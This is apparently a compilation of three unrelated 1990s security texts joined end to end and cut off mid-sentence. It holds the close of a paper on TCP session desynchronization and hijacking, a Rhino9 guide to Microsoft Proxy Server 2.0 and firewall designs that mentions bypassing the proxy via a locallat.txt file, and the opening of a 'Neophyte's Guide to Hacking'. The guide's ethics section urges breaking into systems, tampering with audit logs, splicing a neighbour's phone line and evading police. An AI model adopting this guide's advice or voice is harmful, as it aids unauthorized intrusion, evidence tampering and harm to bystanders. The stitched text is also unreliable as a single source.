sniffer of the attacker. The drops tend to increase as the load on the network increases. - Some unexpected connection reset. The following behavior has not been fully investigated since the attacker program developed was to try the validity of the concept more than making the attack transparent to the client and server. These are likely to disappear with a more sophisticated attacker program. The user can experience a connection reset of its session at the early stage of the connection if the protocol of the attack is not correctly executed. A loss of the attacker's RST or SYN packets may leave the server side of the connection in a undefined state (usually CLOSED or SYN-RECEIVED) and may make the client packets acceptable. About 10% of the attacks performed were unsuccessful, ending either by a connection close (very visible) or a non-desynchronized connection (the attacker failed to redirect the stream). Some side effects and notes about TCP and the attack. - TCP implementation. The desynchronization process described here failed on certain TCP implementations. According to [rfc793] a RST packet is not acknowledged and just destroys the TCB. Some TCP implementations do when in a certain state acknowledge the RST packet by sending back a RST packet. When the attacker sends the RST packet to the server the RST is sent back to the client which closes its connection and ends the session. Other desynchronization mechanisms may be investigated which do not reset the connection. - The client and the attacker were always on the same ethernet segment when performing the test. This makes the attack more difficult to run because of a high load on that segment. The collision rate increases and the attacker's sniffer buffer are overflowed by the traffic. - One can think of just watching the session and sending some data to the server, without caring about creating the desynchronized state and forwarding the TCP packets. Though it will succeed in corrupting the host that approach is likely to be detected early by the user. Indeed the TCP session will not be able to exchange data once the command sent. 6. Prevention The only ways known by the writer currently available to prevent such an attack on a telnet session are the encrypted Kerberos scheme (application layer) or the TCP crypt implementation [TCPcrypt] (TCP layer). Encryption of the data flow prevents any intrusion or modification of the content. Signature of the data can also be used. [pgp] is an example of an available way to secure electronic mail transmission. 7. Morris' Attack Reviewed Morris' attack as described in [morris85] assumes that the attacker can predict the next initial sequence number used by the server (noted SVR_SEQ_0 in this document) and that the identification scheme is based on trusted hosts (which means only certain hosts are allowed to perform some commands on the server without any other identification process being needed). In this attack the cracker initiates the session by sending a SYN packet to the server using the client (trusted host) as the source address. The server acknowledge the SYN with a SYN/ACK packet with SEG_SEQ = SVR_SEQ_0. The attacker then acknowledges that packet in guessing SVR_SEQ_0. The cracker does not need to sniff the client packets as long as he can predict SVR_SEQ_0 in order to acknowledge it. This attack has two main flaws: - The client whom the attacker masquerades will receive the SYN/ACK packet from the server and then could generate a RST packet to the server since in the client's view no session yet exists. Morris supposes that one can stop the RST generation by either performing the attack when the client is down or by overflowing the client's TCP queue so the SYN/ACK packet will be lost. - The attacker cannot receive data from the server. But he can send data which is sometime enough to compromise a host. The are four principal differences between Morris' attack and the present one: - Morris's relies on the trusted hosts identification scheme whereas the present attack lets the user conduct the identification stage of the connection. - The present attack is a full duplex TCP stream. The attacker can send and receive data. - The present attack uses the ethernet sniffer to predict (or just get) SVR_SEQ_0. - The present attack can be used against any kind of host besides Unix hosts. Morris' attack can easily be extented in regard of the present attack: - The sniffer is used to get the server's initial sequence number. Morris' attack can then be performed against the server. The attacker do not need to wait for a client to connect. - Considering that the client will not send RST packets (for example it is down) the attacker can establish a full duplex TCP connection with the server. It can send data and receive data on behalf of the client. Of course the cracker still has to pass the identification barrier. If the identification is based on trusted hosts (like NFS or rlogin) the cracker has full access to the host's services. Steven M. Bellovin in [bellovin89] also presents how ICMP packets can be used to disable one side of the connection. In this case the attacker gets full control of the session (people have referred to 'TCP session hijacking'), but this is too easily detected by the user. 8. Conclusion Although easy to detect when used on a local network, the attack presented here is quite efficient on long distance, low bandwidth, high delay networks (usually WAN). It can be carried with the same resources as for a passive sniffing attack which have occurred so frequently on the Internet . This attack has also the dangerous advantage of being invisible to the user. While cracking into a host on the Internet is becoming more and more frequent, the stealthfulness of the attack is now a very important parameter for the success of the attack and makes it more difficult to detect. When everybody's attention in the Internet is focused on the emerging new IPv6 protocol to replace the current IPv4, increasing attacks and the need for secure systems press us to develop and use a secure transport layer for the Internet community. Options should be available to send signed and eventually encrypted data to provide privacy. And since the signature of the data implies reliability the signature can be substituted to the current TCP checksum. This paper does not attempt to explain all cases of active attacks using a sniffer. It is more a warning for people using s/key or Kerberos against the danger of someone sniffing the ethernet. It provides a few ideas and starting points which can be more deeply studied. The method presented has been successfully used during our test even with a very simple attacker's software. [Bellovin89] "Security Problems in the TCP/IP Protocol Suite", Bellovin, S., Computer Communications Review, April 1989. [Kerberos] "Kerberos: An Authentication Service for Open Network Systems", Steiner, J., Neuman, C., Schiller, J., USENIX Conference Proceeding, Dallas, Texas, February 1989. [Morris85] "A Weakness in the 4.2BSD UNIX TCP/IP Software", Morris, R., Computing Science Technical Report No 117, ATT Bell Laboratories, Murray Hill, New Jersey, 1985. [PGP] Pretty Good Privacy Version 2.6.1, Philip Zimmermann, August 1994. [RFC 793] Request For Comment 793, ``Transmission Control Protocol'', September 1981, J. Postel. [RFC 854] Request For Comment 854, ``Telnet Protocol Specification'', May 1983, J. Postel, J. Reynolds [SKEY] "The S/Key One-time Password System", Haller, N., Proceeding of the Symposium on Network Distributed Systems, Security, Internet Society, San Diego, CA, February 1994. [TCPcrypt] "Public Key Encryption Support for TCP", Joncheray, L., Work in progress, May 1995. [TCPDUMP] tcpdump(8) Version 2.2.1, Van Jacobson, Craig Leres, Steven Berkeley, University of California, Berkeley, CA. Understanding Microsoft Proxy Server 2.0 By NeonSurge Rhino9 Publications PrefaceThis documented was not made for people who have been working with Microsoft Proxy Server since its beta (catapult) days. It is made for individuals who are curious about the product and security professionals that are curious as to what Microsoft Proxy Server has to offer. This document is also being written for individuals have a general idea of what a Proxy Server does, but wants to know more. This paper goes into discussion of Proxy Server Features and Architecture, Access Control, Encryption, and Firewall Strategies (which I have been getting a lot of requests for). The second part of the documentation goes into Firewall types and strategies, so if that's the reason you downloaded the documentation, go straight to page 8 I believe. What is Microsoft Proxy Server? Microsoft Proxy Server is a "firewall" and cache server. It provides additional Internet security and can improve network response issues depending on its configuration. The reason I put the word firewall in quotes is because Proxy Server should not be considered as a stand-alone solution to a firewall need. When you are done reading this document, you will have an advanced understanding of the Proxy Server product and also understand firewall techniques and topologies. Proxy Server can be used as an inexpensive means to connect an entire business through only one valid IP address. It can also be used to allow more secure inbound connections to your internal network from the Internet. By using Proxy Server, you are able to better secure your network against intrusion. It can be configured to allow your entire internal private network to access resources on the Internet, at the same time blocking any inbound access. Proxy Server can also be used to enhance the performance of your network by using advanced caching techniques. The can be configured to save local copies of requested items from the Internet. The next time that item is requested, it can be retrieved from the cache without having to connect to the original source. This can save an enormous amount of time and network bandwidth. Unlike Proxy Server 1.0, Proxy Server 2.0 includes packet filtering and many other features that we will be discussing. Proxy Server provides it functionality by using three services: * Web Proxy: The web proxy service supports HTTP, FTP, and Gopher for TCP/IP Clients. * WinSock Proxy: The Winsock proxy supports Windows Sockets client applications. It provides support for clients running either TCP/IP or IPX/SPX. This allows for networks that may be running more of a Novell environment to still take advantage of Proxy Server. * SOCKS Proxy: The SOCKS Proxy is a cross-platform service that allows for secure communication in a client/server capacity. This service supports SOCKS version 4.3a and allows users access to the Internet by means of Proxy Server. SOCKS extends the functionality provided by the WinSock service to non-Windows platforms such as Unix or Macintosh. Proxy Servers Security Features In conjunction with other products, Proxy Server can provide firewall level security to prevent access to your internal network. * Single Contact Point: A Proxy Server will have two network interfaces. One of these network interfaces will be connected to the external (or "untrusted") network, the other interface will be connected to your internal (or "trusted") network. This will better secure your LAN from potential intruders. * Protection of internal IP infrastructure: When IP forwarding is disabled on the Proxy Server, the only IP address that will be visible to the external environment will be the IP address of the Proxy Server. This helps in preventing intruders from finding other potential targets on your network. * Packet Layer Filtering: Proxy Server adds dynamic packet filtering to its list of features. With this feature, you can block or enable reception of certain packet types. This enables you to have a tremendous amount of control over your network security. Beneficial Features of Proxy * IIS and NT Integration: Proxy Server integrates with Windows NT and Internet Information Server tighter than any other package available on the market. Proxy Server actually uses the same administrative interface used by Internet Information Server. * Bandwidth Utilization: Proxy Server allows all clients in your network to share the same link to the external network. In conjunction with Internet Information Server, you can set aside a certain portion of your bandwidth for use by your webserver services. * Caching Mechanisms: Proxy Server supports both active and passive caching. These concepts will be explained in better detail further into the document. * Support for Web Publishing: Proxy Server uses a process known as reverse proxy to provide security while simultaneously allowing your company to publish on the Internet. Using another method known as reverse hosting, you can also support virtual servers through Proxy. Hardware and Software Requirements Microsoft suggests the following minimum hardware requirements. * Intel 486 or higher. RISC support is also available. * 24 MB Ram for Intel chips 32 MB Ram for RISC. * 10 MB Diskspace needed for installation. 100 MB + .5 MB per client for Cache space. * 2 Network interfaces (Adapters, Dial-Up, etc) Following is the suggested minimum software requirements. * Windows NT server 4.0 * Internet Information Server 2.0 * Service Pack 3 * TCP/IP It is highly recommended that it be installed on an NTFS partition. If an NTFS partition is not used, not only are you losing NTFS's advanced security features, but also the caching mechanisms of Proxy Server will not work. It is also recommended that your two network interfaces be configured prior to installation. On interface configured to the external network, and one configured for the internal network. (Note: When configuring your TCP/IP settings, DO NOT configure a default gateway entry for your internal network interface.) * Be sure that "Enable IP Forwarding" is not checked in your TCP/IP settings. This could seriously compromise your internal security. What is the LAT? This is probably one of the most common questions I am asked as a security professional. The LAT, or Local Address Table, is a series of IP address pairs that define your internal network. Each pair defines a range of IP addresses or a single pair. That LAT is generated upon installation of Proxy Server. It defines the internal IP addresses. Proxy Server uses the Windows NT Routing Table to auto-generate the LAT. It is possible that the when the LAT is auto-generated, that errors in the LATs construction will be found. You should always manually comb through the LAT and check for errors. It is not uncommon to find external IP addresses in the LAT, or entire subnets of your internal IP addresses will not appear on the LAT. It is generally a good idea to have all of your internal IP addresses in the LAT. * NO EXTERNAL IP ADDRESSES SHOULD APPEAR IN YOUR LAT. Upon installing the Proxy Server client software, it adds a file named msplat.txt into the \Mspclnt directory. The msplat.txt file contains the LAT. This file is regularly updated from the server to ensure that the LAT the client is using is current. What is the LAT used for? Every time a client attempts to use a Winsock application to establish a connection, the LAT is referenced to determine if the IP address the client is attempting to reach is internal or external. If the IP address is internal, Proxy Server is bypassed and the connection is made directly. If the IP address the client is attempting to connect to DOES NOT appear in the LAT, it is determined that the IP address is remote and the connection is made through Proxy Server. By knowing this information, someone on your internal network could easily edit his or her LAT table to bypass Proxy Server. Some Administrators may not see this as a problem because the LAT is regularly updated from the server, so any changes the user made to his or her LAT will be overwritten. However, if the user saves their LAT with the filename Locallat.txt, the client machine will reference both the msplat.txt and the locallat.txt to determine if an IP address is local or remote. So, by using the locallat.txt method, a user can, in theory, permanently bypass Proxy Server. The locallat.txt file is never overwritten unless the user does so manually. What changes are made when Proxy Server is installed? Server side changes: * The Web Proxy, Winsock Proxy, and SOCKS Proxy services are installed and management items are added into the Internet Service Manager. * An HTML version of the documentation is added into the %systemroot%\help\proxy\ directory. * A cache area is created on an NTFS volume. * The LAT table is constructed. * Proxy Server Performance Monitor counters are added. * Client installation and config files are added to the Msp\Clients folder. This folder is shared as Mspclnt and by default has the permissions set to Read for Everyone. Client side changes: * The LAT (msplat.txt) file is copied to the clients local hard drive. * A WSP Client icon is added to control panel on Win3.X, Win95 and WinNT clients. * A Microsoft Proxy Client Program Group is added * The winsock.dll file is replace with Remote WinSock for Proxy. The old winsock file is renamed winsock.dlx. * Mspclnt.ini file is copied to the client machine. Proxy Server Architecture To understand the architecture of Microsoft Proxy Server, you must first have a basic grasp of how Proxy works for outbound client requests. Here is a simple example: Joe opens his browser to visit his favorite news site on the net. He types in the sites IP address which he has memorized because his visits often, instead of doing his job. The client compares the IP address Joe entered to the LAT table. Because the IP address is not found on the LAT, it is considered external. Since the client has determined that the IP address is external, it knows it must process the request through Proxy Server. The client hands Joe's request to Proxy Server. Proxy Server then checks the IP address against the access control applied by the Administrator. The Administrator has the ability to stop internal employees from visiting certain sites. Since Joe's request is not on the forbidden list applied by the Administrator, Proxy Server executes the request. Proxy contacts the website and requests the document Joe wanted. After Proxy server has received the information it requested, it stored a copy in its cache for later use and hands the request to the client machine. The website pops-up on Joe's browser. Proxy Server Services: An Introduction * WebProxy: Web Proxy normally functions with both clients and servers. As a server, it receives HTTP requests from internal network clients. As a client, it responds to internal network clients' requests by issuing their requests to a server on the Internet. The interface between the client and server components of the Web Proxy service provides chances to add value to the connections it services. By performing advanced security checks, the Web Proxy does more than relay requests between an internal client and a server on the Internet. The WebProxy service is an extensions of Internet Information Server 3.0. It consists of two following components: The Proxy Server ISAPI Filter and the Proxy Server ISAPI Application. The Web Proxy service is implemented as a DLL (dynamic link library) that uses ISAPI (Internet Server Application Programming Interface) and therefore runs within the IIS WWW process. The WWW Service must installed and running in order for proxy requests to be processed. * WinSock Proxy: WinSock Proxy provides proxy services for windows sockets applications. WinSock Proxy allows winsock applications to function on a LAN and to operate as if it is directly connected to the Internet. The client app uses Windows Sockets APIs to communicate with another application running on an Internet computer. WinSock Proxy intercepts the windows sockets call and establishes a communication path from the internal application to the Internet application through the proxy server. The process is totally transparent to the client. The WinSock Proxy consists of a service running on Proxy Server and a DLL installed on each client. The DLL it relies on is the Remote Winsock DLL that replaced the normal winsock.dll. WinSock Proxy uses a control channel between the client and the server to manage the ability of Windows Sockets messages to be used remotely. The control channel is set up when the WinSock Proxy client DLL is first loaded, and it uses the connectionless UDP protocol. The Winsock Proxy client and the WinSock Proxy service use a simple ack protocol to add reliability to the control channel. The control channel uses UDP port 1745 on the proxy server and client computers. * SOCKS Proxy: Proxy Server supports SOCKS Version 4.3a. Almost all SOCKS V4.0 client applications can run remotely through SOCKS Proxy. SOCKS is a protocol that functions as a proxy. It enables hosts on one side of a SOCKS server to gain full access to hosts on the other side of a SOCKS server, without requiring direct IP access. (To learn more about SOCKS, visit http://www.socks.nec.com/index.html). Understanding components This area will attempt to better define to the components of the architecture that we have used, but may not have defined. ISAPI Filter The ISAPI Filter interface is one of the components of the web proxy service. The interface provides an extension that the Web server calls whenever it receives an HTTP request. An ISAPI Filter is called for every request, regardless of the identity of the resource requested in the URL. An ISAPI filter can monitor, log, modify, redirect and authenticate all requests that are received by the Web server. The Web service can call an ISAPI filter DLL's entry point at various times in the processing of a request or response. The Proxy Server ISAPI filter is contained in the w3proxy.dll file. This filter examines each request to determine if the request is a standard HTTP request or not. ISAPI Application The ISAPI Application is the second of the two web proxy components. ISAPI applications can create dynamic HTML and integrate the web with other service applications like databases. Unlike ISAPI Filters, an ISAPI Application is invoked for a request only if the request references that specific application. An ISAPI Application does not initiate a new process for every request. The ISAPI Application is also contained in the w3proxy.dll file. Proxy Servers Caching Mechanism Microsoft Proxy Server handles caching in two different ways, Passive and Active caching. * Passive Caching: Passive caching is the basic mode of caching. Proxy Server interposes itself between a client and an internal or external Web site and then intercepts client requests. Before forwarding the request on to the Web server, Proxy Server checks to see if it can satisfy the request from its cache. Normally, in passive caching, Proxy Server places a copy of retrieved objects in the cache and associates a TTL (time-to-live) with that object. During this TTL, all requests for that object are satisfied from the cache. When the TTL is expired, the next client request for that object will prompt Proxy Server to retrieve a fresh copy from the web. If the disk space for the cache is too full to hold new data, Proxy Server removes older objects from the cache using a formula based on age, popularity, and size. * Active Caching: Active Caching works with passive caching to optimize the client performance by increasing the likelihood that a popular will be available in cache, and up to date. Active caching changes the passive caching mechanism by having the Proxy Server automatically generate requests for a set of objects. The objects that are chosen are based on popularity, TTL, and Server Load. Windows Sockets Windows Sockets is the mechanism for communication between applications running on the same computer or those running on different computers which are connected to a LAN or WAN. Windows Sockets defines a set of standard API's that an application uses to communicate with one or more other applications, usually across a network. Windows Sockets supports initiating an outbound connection, accepting inbound connections, sending and receiving data on those connections, and terminating a session. Windows socket is a port of the Berkeley Sockets API that existed on Unix, with extensions for integration into the Win16 and Win32 application environments. Windows Sockets also includes support for other transports such as IPX/SPX and NetBEUI. Windows Sockets supports point-to-point connection-oriented communications and point-to-point or multipoint connectionless communications when using TCP/IP. Windows Socket communication channels are represented by data structures called sockets. A socket is identified by an address and a port, for example; 131.107.2.200:80 Access Control Using Proxy Server Controlling Access by Internet Service Proxy Server can be configured to provide or restrict access based on Service type. FTP, HTTP, Gopher, and Secure (SSL) are all individually configurable. Controlling Access by IP, Subnet, or Domain Proxy allows an administrator to control access based on IP Address, Subnet or Domain. This is done by enabling filtering and specifying the appropriate parameters. When configuring this security, you need to decide if you want to grant or deny access to an IP address, subnet, or domain. By configuring Proxy Server correctly, you can also set it up to use the internet as your corporate WAN. Controlling Access by Port If you are using the WinSock Proxy service, you can control access to the internet by specifying which port is used by TCP and UDP. You can also grant or deny, activate or disable certain ports based on your needs. Controlling Access by Packet Type Proxy Server can control access of external packets into the internal network by enabling packet filtering on the external interface. Packet filtering intercepts and evaluates packets from the Internet before they reach the proxy server. You can configure packet filtering to accept or deny specific packet types, datagrams, or packet fragments that can pass through Proxy Server. In addition, you can block packets originating from a specific Internet host. The packet filtering provided by Proxy Server is available in two forms, Dynamic and Static. Dynamic packet filtering allows for designed ports to automatically open for transmission, receive, or both. Ports are then closed immediately after connection has been terminated, thereby minimizing the number of open ports and the duration of time that a port is open. Static packet filtering allows manual configuration of which packets are and are not allowed. By default, the following Packet settings are enabled on Proxy Server (by default, ALL packet types are blocked except the ones listed below, known as Exceptions): Inbound ICMP ECHO (Ping) Inbound ICMP RESPONSE (Ping) Inbound ICMP SOURCE QUENCH Inbound ICMP TIMEOUT Inbound ICMP UNREACHABLE Outbound Inbound ICMP ANY TCP HTTP In/Outbound UDP ANY (dns) Logging and Event Alerts Events that could affect your system may be monitored, and, if they occur, alerts can be generated. The items listed below are events that will generate alerts: Rejected Packets: Watches external adapter for dropped IP packets. Protocol Violations: Watches for packets that do not follow the allowed protocol structure. Disk Full: Watches for failures caused by a full disk. When any of the events above occur, an alert is sent to the system log in the NT Event Viewer, or can be configured to e-mail a pre-defined person. When the system logs information concerning Access Control, it does so to a log file stored in the %systemroot%/system32/msplogs/ directory. The log file itself is named Pfyymmdd.log (Where yy=Current year / mm= Current Month / dd= Current day). The Packet log records information related to the following areas: Service Information (Time of Service, Date and Time) Remote Information (The Source IP Address of a possible Intruder, along with port and protocol used) Local Information (Destination IP Address and port) Filter Information (Action taken and what interface (network adapter) issued the action) Packet Information (Raw IP Header in Hex and Raw IP Packet in Hex) Encryption Issues Proxy Server can take full advantage of the authentication and security features of Internet Information Server and SSL tunneling. SSL supports data encryption and server authentication. All data sent to and from the client using SSL is encrypted. If HTTP basic authentication is used in conjunction with SSL, the user name and password are transmitted after the client's SSL support encrypts them. If your are wanting to take advantage of PPTP to provide additional flexibility and security for your clients, you can configure Proxy Server to allow these packets (GRE) to pass through. Other Benefits of Proxy Server RAS Proxy Server can take full advantage of Windows NT Remote Access Service (RAS). Proxy can be configured to dial on demand when an internal client makes a request that must be satisfied from the external network. The RAS feature can be configured to only allow connectivity during certain hours. The Dial-Up Network Scripting tool can aslo be used to automate certain process using Proxy Server and RAS. For company's who have a standard constant connection (ISDN, T1, T3) to the Internet, the RAS ability provided by Proxy Server can be used as a back-up should your constant connection fail. IPX/SPX Microsoft Proxy Server was developed with support for Internet Packet Exchange/Sequenced Packet Exchange or IPX/SPX. IPX/SPX is a transport protocol group somewhat similar to TCP/IP. There are many situations when a client computer may have both IPX/SPX and TCP/IP protocols installed although the company's internal network may only use IPX/SPX. Simply disabling aTCP/IP while on the LAN will not get the IPX/SPX component of the Proxy client software working. You will need to go into Control Panel, open the Wsp Client icon and check the box that reads "Force IPX/SPX protocol". This must be done because even though the TCP/IP protocol was disabled, the WinSock Proxy Client still detects its presence and will attempt to create a standard IP socket. By enabling the "Force IPX/SPX Protocol" option, this problem should disappear. Firewall Strategies A firewall is a system that enforces access control policies. The enforcement is done between an internal, or "trusted" network and an external, or "untrusted" network. The firewall can be as advanced as your standards require. Firewalls are commonly used to shield internal networks from unauthorized access via the Internet or other external network. Logical Construction The single basic function of a firewall is to block unauthorized traffic between a trusted system and an untrusted system. This process is normally referred to as Filtering. Filtering can be viewed as either permitting or denying traffic access to a network. Firewalls know what traffic to block because they are configured with the proper information. This information is known as an Access Control Policy. The proper approach to an access control policy will depend on the goals of the network security policy and the network administrator. Exploring Firewall Types In the origins of firewalls, there were two types. These two types have now grown and overlapped each other to the point where distinction is hard. We will explore the differences between these two types and discuss Firewall building topologies. Network Level Firewalls Network level firewalls operate at the IP packet level. Most of these have a network interface to the trusted network and an interface to the untrusted network. They filter by examining and comparing packets to their access control policies or ACL's. Network level firewalls filter traffic based on any combination of Source and Destination IP, TCP Port assignment and Packet Type. Network Level firewalls are normally specialized IP routers. They are fast and efficient and are transparent to network operations. Todays network level firewalls have become more and more complex. They can hold internal information about the packets passing through them, including the contents of some of the data. We will be discussing the following types of network level firewalls: * Bastion Host * Screened Host * Screened Subnet Bastion Host Firewall Bastion host are probably one of the most common types of firewalls. The term bastion refers to the old castle structures used in europe, mainly for draw bridges. The Bastion host is a computer with atleast one interface to the trusted network and one to the untrusted network. When access is granted to a host from the untrusted network by the bastion host, all traffic from that host is allowed to pass unbothered. In a physical layout, bastion hosts normally stand directly between the inside and outside networks, with no other intervention. They are normally used as part of a larger more sophisticated firewall. The disadvantages to a bastion host are: - After an Intruder has gained access, he has direct access to the entire network. - Protection is not advanced enough for most network applications. Screened Host Firewall A more sophisticated network level firewall is the screened host firewall. This firewall uses a router with at least on connection to trusted network and one connection to a bastion host. The router serves as a preliminary screen for the bastion host. The screening router sends all IP traffic to the bastion host after it filters the packets. The router is set up with filter rules. These rules dictate which IP addresses are allowed to connect, and which ones are denied access. All other packet scrutiny is done by the bastion host. The router decreases the amount of traffic sent to the bastion host and simplifies the bastions filtering algorithms. The physical layout of a Screened Host is a router with one connection to the outside network, and the other connection with a bastion host. The bastion host has one connection with the router and one connection with the inside network. Disadvantages to the Screened Host are: - The single screen host can become a traffic bottleneck - If the host system goes down, the entire gateway is down. Screened Subnet Firewalls A screened subnet uses on or more addition routers and on more additional bastion hosts. In a screened subnet, access to and from the inside network is secured by using a group of screened bastion host computers. Each of the bastion hosts acts as a drawbridge to the network. The physical layout of a Screened subnet is somewhat more difficult, but the result is a more secure, robust environment. Normally, there is a router with one connection to the outside network and the other connection to a bastion host. The bastion host has one connection to the outer most router and one connection to another bastion host, with an addressable network in the middle. The inner most bastion host has one connection to the outer most bastion and another connection to an inside router. The inside router has one connection to the inner bastion host and the other connection to the inside network. The result of this configuration is the security components are normally never bogged down with traffic and all internal IP addresses are hidden from the outside, preventing someone from "mapping" your internal network. Disadvantages to using this type of firewall are: - The can be two or three times more expensive than other types of firewalls - Implementation must be done by some type of security professional, as these types of firewalls are not for the un-initiated. Application Level Firewalls Application level firewalls are hosts running proxy server software located between the protected network and the outside network. Keep in mind that even though Microsofts product is called Proxy Server 2.0, it is actually a stand alone Bastion Host type of system. Microsoft Proxy Server can also, single-handedly, disguise your internal network to prevent mapping. Microsoft Proxy Server 1.0 did not have many of the advanced features presented in version 2.0. The 1.0 version can definitely be called a true proxy server, while the 2.0 version is more of a firewall. Viewed from the client side, a proxy server is an application that services network resource requests by pretending to be the target source. Viewed from the network resource side, the proxy server is accessing network resources by pretending to be the client. Application level firewalls also do not allow traffic to pass directly between to the two networks. They are also able to use elaborate logging and auditing features. They tend to provide more detailed audit reports, but generally, as stand alone security unites, do not perform that well. Remember that an Application level firewall is software running on a machine, and if that machine can be attacked effective and crashed, in effect, youre crashing the firewall. You may wish to use an application level firewall in conjunction with network level firewalls, as they provide the best all around security. That's it for now. NeonSurge The Rhino9 Team. http://rhino9.abyss.com -----------------------------------------------------------------------------%%%%%%%%%%%%%%%%%%%%%%%%%%%%-%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % THE NEOPHYTE'S GUIDE TO HACKING % % =============================== % % 1993 Edition % % Completed on 08/28/93 % % Modification 1.1 Done on 10/10/93 % % Modification 1.2 Done on 10/23/93 % % by % %% >>>>> Deicide <<<<< %% %%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% < The author of this file grants permission to reproduce and > < redistribute this file in any way the reader sees fit, > < including the inclusion of this file in newsletters of any > < media, provided the file is kept whole and complete, > < without any modifications, deletions or ommissions. > < (c) 1993, Deicide > TABLE OF CONTENTS ================= 1. INTRODUCTION 2. ETHICS/SAFETY 3. WHERE TO START 4. PACKET-SWITCHED NETWORKS A. Intro to PSNs B. How packet-switching works C. The Internet 1. Introduction 2. Getting access 3. FTP D. X.25 Networks 1. NUAs 2. PADs & NUIs 3. CUGs 4. SprintNet 5. BT Tymnet 6. Datapac 7. DNIC List 5. SYSTEM PENETRATION A. Unix B. VMS C. MPE (HP3000 mainframes) D. VM/CMS E. Primos F. TOPS 10/20 G. IRIS H. NOS I. DECServer J. GS/1 K. XMUX L. Starmaster/PACX M. Access 2590 N. PICK O. AOS/VS P. RSTS Q. WindowsNT R. Novell Netware S. System75/85 T. AS400 U. TSO 6. BRUTE FORCE A. Passwords B. Usernames C. Services 7. SOCIAL ENGINEERING 8. TRASHING 9. ACRONYMS 10. CONCLUSION A. Last words B. Recommended Reading C. BBSes D. References E. And finally.. F. Disclaimer INTRODUCTION: ============ -----------Over four years ago the final version of the LOD/H's Novice's Guide to Hacking was created and distributed, and during the years since it has served as a much needed source of knowledge for the many hackers just beginning to explore the wonders of system penetration and exploration. The guide was much needed by the throng of newbies who hadn't the slightest clue what a VAX was, but were eager to learn the arcane art of hacking. Many of today's greats and moderates alike relied the guide as a valuable reference during their tentative(or not) steps into the nets. However, time has taken it's toll on the silicon networks and the guide is now a tad out of date. The basic manufacturer defaults are now usually secured , and more operating systems have come on the scene to take a large chunk of the OS percentile. In over four years not one good attempt at a sequel has been made, for reasons unbeknownst to me. So, I decided to take it upon myself to create my own guide to hacking.. the "Neophyte's Guide to Hacking" (hey..no laughing!) in the hopes that it might help others in furthering their explorations of the nets. This guide is modelled after the original, mainly due to the fact that the original *was* good. New sections have been added, and old sections expanded upon. However, this is in no means just an update, it is an entirely new guide as you'll see by the difference in size. This guide turned out to be over 4 times the size of The Mentor's guide. Also, this guide is NOT an actual "sequel" to the original; it is not LOD/H sponsored or authorized or whatever, mainly because the LOD/H is now extinct. One last thing.. this guide is in no way complete. There are many OS's I did not include, the main reasons being their rarity or my non-expertise with them. All the major OS's are covered, but in future releases I wish to include Wang, MVS, CICS, SimVTAM, Qinter, IMS, VOS, and many more. If you feel you could help, contact me by Internet email or on a board or net(if you can find me). Same thing applies for further expansion of current topics and operating systems, please contact me. Ok, a rather long intro, but fuck it.. enjoy as you wish.. Deicide - deicide@west.darkside.com ETHICS/SAFETY: ============= ------------One of the most integral parts of a hacker's mindset is his set of ethics. And ethics frequently go hand in hand with safety, which is obviously the most critical part of the process of hacking and the system exploration, if you plan to spend your life outside of the gaol. A hacker's ethics are generally somewhat different from that of an average joe. An average joe would be taught that it is bad to break laws, even though most do anyways. I am encouraging you to break laws, but in the quest for knowledge. In my mind, if hacking is done with the right intentions it is not all that criminal. The media likes to make us out to be psychotic sociopaths bent on causing armageddon with our PCs. Not likely. I could probably turn the tables on the fearmongering media by showing that the average joe who cheats on his taxes is harming the system more than a curious interloper, but I refrain.. let them wallow.. The one thing a hacker must never do is maliciously hack(also known as crash, trash, etc..) a system. Deleting and modifying files unnecessary is BAD. It serves no purpose but to send the sysadmins on a warhunt for your head , and to take away your account. Lame. Don't do it. Anyways, if you don't understand all of these, just do your best to follow them, and take my word for it. You'll understand the reasoning behind these guidelines later. I. Don't ever maliciously hack a system. Do not delete or modify files unnecessarily, or intentionally slow down or crash a system. The lone exception to this rule is the modification of system logs and audit trails to hide your tracks. II. Don't give your name or real phone number to ANYONE, it doesn't matter who they are. Some of the most famous phreaks have turned narcs because they've been busted, and they will turn you in if you give them a chance. It's been said that one out of every three hackers is a fed, and while this is an exaggeration, use this as a rule and you should do fine. Meet them on a loop, alliance, bbs, chat system, whatever, just don't give out your voice number. III. Stay away from government computers. You will find out very fast that attempting to hack a MilTac installation is next to impossible, and will get you arrested before you can say "oh shit". Big Brother has infinite resources to draw on, and has all the time it needs to hunt you down. They will spend literally years tracking you down. As tempting as it may be, don't rush into it, you'll regret it in the end. IV. Don't use codes from your own home, ever! Period. This is the most incredibly lame thing i've seen throughout my life in the 'underground'; incredible abuse of codes, which has been the downfall of so many people. Most PBX/950/800s have ANI, and using them will eventually get you busted, without question. And calling cards are an even worse idea. Codes are a form of pseudo-phreaking which have nothing to do with the exploration of the telephone networks, which is what phreaking is about. If you are too lazy to field phreak or be inventive, then forget about phreaking. V. Don't incriminate others, no matter how bad you hate them. Turning in people over a dispute is a terrible way to solve things; kick their ass, shut off their phones/power/water, whatever, just don't bust them. It will come back to you in the end.. VI. Watch what you post. Don't post accounts or codes over open nets as a rule. They will die within days, and you will lose your new treasure. And the posting of credit card numbers is indeed a criminal offense under a law passed in the Reagan years. VII. Don't card items. This is actually a worse idea than using codes, the chances of getting busted are very high. VIII. If for some reason you have to use codes, use your own, and nothing else. Never use a code you see on a board, because chances are it has been abused beyond belief and it is already being monitored. IX. Feel free to ask questions, but keep them within reason. People won't always be willing to hand out rare accounts, and if this is the case don't be surprised. Keep the questions technical as a rule. Try and learn as much as you can from pure hands on experience X. And finally, be somewhat paranoid. Use PGP to encrypt your files, keep your notes/printouts stored secretly, whatever you can do to prolong your stay in the h/p world. XI. If you get busted, don't tell the authorities ANYTHING. Refuse to speak to them without a lawyer present. XII. If police arrive at your residence to serve a search warrant, look it over carefully, it is your right. Know what they can and can't do, and if they can't do something, make sure they don't. XIII. If at all possible, try not to hack off your own phoneline. Splice your neighbour's line, call from a Fortress Fone, phreak off a junction box, whatever.. if you hack long enough, chances are one day you'll be traced or ANI'd. Don't believe you are entirely safe on packet-switched networks either, it takes a while but if you scan/hack off your local access point they will put a trace on it. XIV. Make the tracking of yourself as difficult as possible for others. Bounce the call off several outdials, or try to go through at least two different telco companies when making a call to a dialup. When on a packet-switched network or a local or wide area network, try and bounce the call off various pads or through other networks before you reach your destination. The more bounces, the more red tape for the investigator and the easier it is for you to make a clean getaway. Try not to stay on any system for *too* long, and alternate your calling times and dates. XV. Do not keep 